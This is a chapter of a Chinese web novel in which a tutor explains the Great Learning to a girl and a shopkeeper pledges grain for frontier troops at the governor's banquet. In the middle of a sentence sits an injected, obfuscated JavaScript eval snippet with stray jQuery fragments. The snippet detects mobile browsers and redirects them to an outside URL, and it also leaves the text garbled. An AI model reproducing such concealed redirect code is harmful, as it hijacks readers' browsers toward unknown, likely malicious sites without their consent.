42. 捐赠粮草
作品:《桃花深处点心铺》 “大学之道,在明明德,在亲民,在止于至善……”
日光透过细竹帘子,在书房青砖地上投下斑驳的光影,念慈端坐在书桌后,闭着眼睛,摇头晃脑地背。
她背得行云流水,从“知止而后有定”到“物格而后知至”,一字不差。
窗外的蝉声似乎也识趣地低了下去。
案后,郑攸宁仔细地听着,时不时点点头,待最后一句“国不以利为利,以义为利也”落定。她颔首道:“我们念慈记性的确是好的。”
念慈心中微喜,背脊挺得更直了些。
“现在,老师问你……”郑攸宁话锋一转:“‘在亲民’二字,郑玄注曰‘亲,爱也’,孔颖达疏谓‘亲抚民众’,然则若只是慈爱抚恤,与《尚书》‘作新民’之旨可有相违?”
念慈一怔,迟疑道:“或许,亲民即是教化……”
“是吗?”郑攸宁不置可否:“‘知止而后有定’,这‘止’字,可是教人固步自封?若人人知止,我朝开国之初,太宗皇帝何以要锐意进取,开创盛世?”
念慈听罢,额角竟渗出了些许细汗。
自从得了老师布置的课业,这些句子她日夜背诵,背不出宁肯不睡,可此时老师的发问,还是令他措手不及。
她垂下头,声音低了下去:“学生愚钝,请老师指点。”
郑攸宁并未责备,只将案头那部《礼记正义》展开。
“你过来。”她示意念慈近前:“郑康成以‘亲’训‘爱’,乃是根本,然须知这‘爱’非姑息之爱,乃是‘如保赤子’之爱。”
说着,她抬眼看向院中嬉戏的雏鸟:“母鸟哺育雏鸟,既要温暖呵护,也要教它振翅高飞。治国之道,既要以仁爱养民,更要以礼乐教化,使百姓日新其德。这才是《康诰》‘作新民’的真义。”
念慈望着窗外跃跃试飞的幼雏,若有所悟。
郑攸宁又翻到“知止”章:“这‘止’字,非是让人画地为牢……你看终南山的登山道,每一处歇脚的平台,不正是为了让人积蓄力气,攀登更高处么?”
“制砚的匠人,必先知晓砚台的至善形态,而后每一刀都不离其宗。治国平天下,也要先明晓‘至善’所在,方能坚定不移。太宗皇帝若不明‘止于至善’之道,又如何能开创盛世?”
郑攸宁将经义融会贯通,使得念慈只觉,那些原本滚瓜烂熟却不知深义的章句,仿佛被老师的话语注入了生命,一个个都活了过来。
书房内一时静谧,只闻得窗外风吹树叶的沙沙声。
郑攸宁见念慈眼中渐现清明,知她已有所悟,便合上经卷:“今日不再讲新章,你将方才所言细细体会,明日再来回我。”
“是,学生明白。”
“嗯,好了,今日便到这里吧。”
念慈虽好学,却也只是个孩童,心性到底是贪玩的,闻言欢呼了一声,撇下书本,就跑到院子里,逗弄团子和毛毛去了。
两只小犬在铺子众人的精心照料下,已养得健康漂亮,活泼可爱。
方才念慈读书的时候,它们就眼巴巴地在外头等着了,如今见念慈风风火火地出来,欢喜异常,摇着尾巴就迎了上去,主动把毛绒绒的小脑袋往念慈手边送。
念慈蹲下/身去,一手一只,挠着它们的下巴,嘴里念念有词:“团子团子,毛毛毛毛,吃饭了没有呀?有没有好好喝羊奶……”
郑攸宁立在廊下,微笑地看着小姑娘。
“郑娘子。”
闻得有人唤自己,她循声望去,见是裴清梧携锦娘款款而来,忙敛衽叉手:“裴东家。”
“哎,郑娘子何故如此见外,你是念慈的老师,该我们向你见礼才是。”裴清梧忙上前一步,制止了郑攸宁。
“是啊,若不是郑娘子日日上门,我家这丫头,学什么都是无用。”锦娘也笑道。
“哪里,念慈聪慧,我不过稍作点拨,再说了,裴东家也是给我付了束脩的。”郑攸宁微微一笑。
此时已是夏日的末尾,天气发挥着最后的燥热,外头站一会儿,便觉热汗直冒,裴清梧忙将郑攸宁让到里头,打开了锦娘手里的食盒。
“讲了这么久的课,娘子辛苦了,我亲自做了些兰雪抗暑散,娘子莫要嫌弃。”
这道饮品,是裴清梧从记忆里,翻出元朝忽思慧所著的《饮膳正要》复刻的。
以兰草、薄荷、甘草等制成,入口沁凉,用来清暑气最好不过了。
郑攸宁谦让过后,端起来抿了一口,只觉满口生津,食物的凉意滑进肺腑,这样的天气来一碗,说不出的爽快,便真挚道:“不愧是裴东家的手艺,清润适口,饮后只觉神清气爽,暑气全消,实在是巧思独运。”
“郑娘子喜欢就好。”
院子里头,念慈在和两只小犬疯玩,玩得满头是汗,辫发散乱也不觉。
锦娘望着女儿,满眼慈爱,想起方才过来时听见的读书声,她虽不通文墨,却也听过,那《大学》,是男子参加科考时才会用到,心下不禁疑惑:“郑娘子,原说,我一介妇人,什么都不懂,但念慈毕竟是我的女儿,有些事情,我到底想问问……”
裴清梧和郑攸宁对视一眼,二人会意。
“蔡娘子请讲。”
“我家念慈,到底是个姑娘,这世间女子,大多只能嫁人生子,娘子教她《礼记》,是不是……”
这话,让念慈听见了一嘴,登时就不乐意了,抱着团子大声嚷嚷:“我就不嫁人!谁说女孩子只能嫁人?东家姐姐不就没再嫁人吗!”
“好了,知道我们念慈志在四方,自己玩吧。”裴清梧笑道。
郑攸宁道:“教她那些书,是我,和裴东家共同的意思。”
锦娘下意识看了裴清梧一眼,后者冲她点了点头,她却更糊涂了:“这……”
“锦娘,念慈学了那些儒家书,确实是不能科考,可是知识,本就不只是为了应付考试啊。”裴清梧笑吟吟地:“念慈读书,学的是明辨是非的智慧,养的是立身处世的格局。”
“这世道对女子虽有束缚,但书中天地宽广,能让她将来无论选择何种人生,都有更清明的眼光、更从容的心境去面对。”
郑攸宁在旁微微颔首,深以为然。
锦娘其实还是没怎么听明白,不过,她知道,不管是东家,还是郑攸宁,懂的都比自己多,便也点头称是。
没过几日,天气要转凉的时候,暮色微微,裴清梧指挥着顾恒和石大勇收拾门板的时候,远处,一阵马蹄声传来。
“酥山小集的裴东家在吗?”
马上之人,吆喝有力,又穿着武侯的衣裳,裴清梧便知道,是官府来人。
忙迎了出去道:“奴家在。”
那武侯翻身下马,将手里的帖子递给裴清梧:“裴东家,明日,赵使君要在府上举办宴席,请了裴东家赴宴,可一定要去啊。”
展开,果见上书——
“久闻酥山小集庖膳精妙,裴娘子雅擅调和。今值秋爽,谨择吉日于宅中设宴,特奉简邀,仰卿高谊,盼备时馐二三,共飨佳客。望明日申时惠临,毋却为幸。”
用词很客气,裴清梧却暗自揣摩了起来。
古人划分“士农工商”,商户的地位是最低的,哪怕她与赵珏接触下来,觉着后者随和又正直,但以那些根深蒂固的偏见,他就算欣赏自己,也不太可能会这样正式地下帖子请自己赴宴,还是在他的府邸。
莫非,是另有所求?
想到这里,裴清梧转头看了看顾恒。
顾恒立刻明白,拿了些通宝钱过来,递给武侯:“武侯大哥辛苦,这些钱是我们东家请大哥买酒喝,莫要嫌少。”
吃人嘴软,拿人手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462404|181774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
短,武侯笑了笑:“放心吧裴东家,不是什么大人,使君将秦州城有名的商户都请了个遍,东家只管安心赴宴便是。”
说罢,他便打马离开。
顾恒立刻看向裴清梧:“东家……”
裴清梧秀眉拧成一个结:“阿恒,你觉着,赵使君请我们,所谓何事?”
“啊?我?”顾恒似是没想到,她会问自己的意见,吃了一惊,旋即便道:“莫不是,为了军粮?”
那批军粮,迟迟未能送到陇右军手中,以赵珏的为人,怎么可能置之不理。
裴清梧赞许地点点头,打趣道:“是呢,我们阿恒可真聪明。”
顾恒脸微微一红:“东家,就别嘲笑我了。”
前些日子,于意请假去探亲,回来的时候,便是愁眉苦脸。
一问,说是今年雨水不多,地里庄稼收成不好,怕是要缺粮。
农业社会,是指着老天吃饭的。
裴清梧联想到这件事,便觉得,若是赵珏想管,可秦州今岁收成不好,作为父母官,他得未雨绸缪,便不能轻易动官库中存粮。
那便只能让平日里赚大钱的商户们,出出血了。
次日申时,裴清梧带着顾恒准时赴宴。
赵府花厅内,琉璃盏映着烛光,时鲜果品陈列案头。
数位秦州城有名的商户东家分坐两侧,裴清梧作为席间唯一的女子,安静地跪坐在末席的蒲团上,顾恒则垂手侍立在她身后。
酒过三巡,珍馐迭出。
赵珏坐于主位,举杯笑道:“今日请诸位前来,一为共赏秋光,二来,也是感念诸位平日对州府事务的支持,秦州商贸繁盛,多赖各位之力。”
众人连称不敢,纷纷举杯回敬。
又饮一轮,赵珏放下酒杯,语气转沉:“近来陇右军粮转运稍滞,想必诸位亦有耳闻,而本州今岁雨水不丰,秋收恐不及往年,官仓存粮,需先保境内民生安稳,未敢轻动,然边军将士饥寒,我等安坐后方,实在于心难安……”
他话语微顿,目光扫过在场众人。
花厅内霎时一静。
方才还笑语晏晏的商户们,此刻或低头整理衣袖,或专注地盯着案上漆器纹路,无人接话。
一位刘姓绸缎商干笑两声,率先开口:“使君忧国忧民,我等感佩,只是,这粮草之事,关乎国计,我等小本经营,实在力有未逮啊。”
“是啊是啊,”旁边立刻有人附和:“今年行情不好,铺子里也艰难……”
推脱之声渐起,气氛一时有些微妙。
裴清梧安静地听着,目光掠过众人,落在了赵珏身上,他面容依旧平静,但眼底已带上些许无奈。
她轻轻放下酒盏,瓷器与木案接触,发出清脆一响。
众人不由看向末席。
只见裴清梧起身,敛衽一礼,声音清越,打破了满堂的推诿:“使君容禀。”
一时间,所有目光都集中在她身上。
裴清梧不卑不亢,缓缓道:“边军将士浴血守土,方有我等商旅安稳,行贾四方。如今军粮吃紧,我等享受太平,岂能坐视?奴家不才,愿捐钱五百贯,购粟米五百石,以充军资,略尽绵力。”
话音落下,满座皆惊。
五百石粟米并非小数目,足以解一时之急。
方才还叫苦不迭的商户们面面相觑,有人面露惭色,有人暗自盘算。
赵珏眼底掠过一丝讶异与赞赏,深深看了裴清梧一眼,举杯道:“裴东家深明大义,赵某代前方将士谢过!”
有了裴清梧带头,加之赵珏亲自敬酒,席间气氛再度转变。
其余商户虽不情愿,也只得或多或少表示了一些心意。
宴席散后,裴清梧与顾恒正要离去,一名仆役快步走来,低声道:“裴东家留步,使君请您往偏厅一叙。”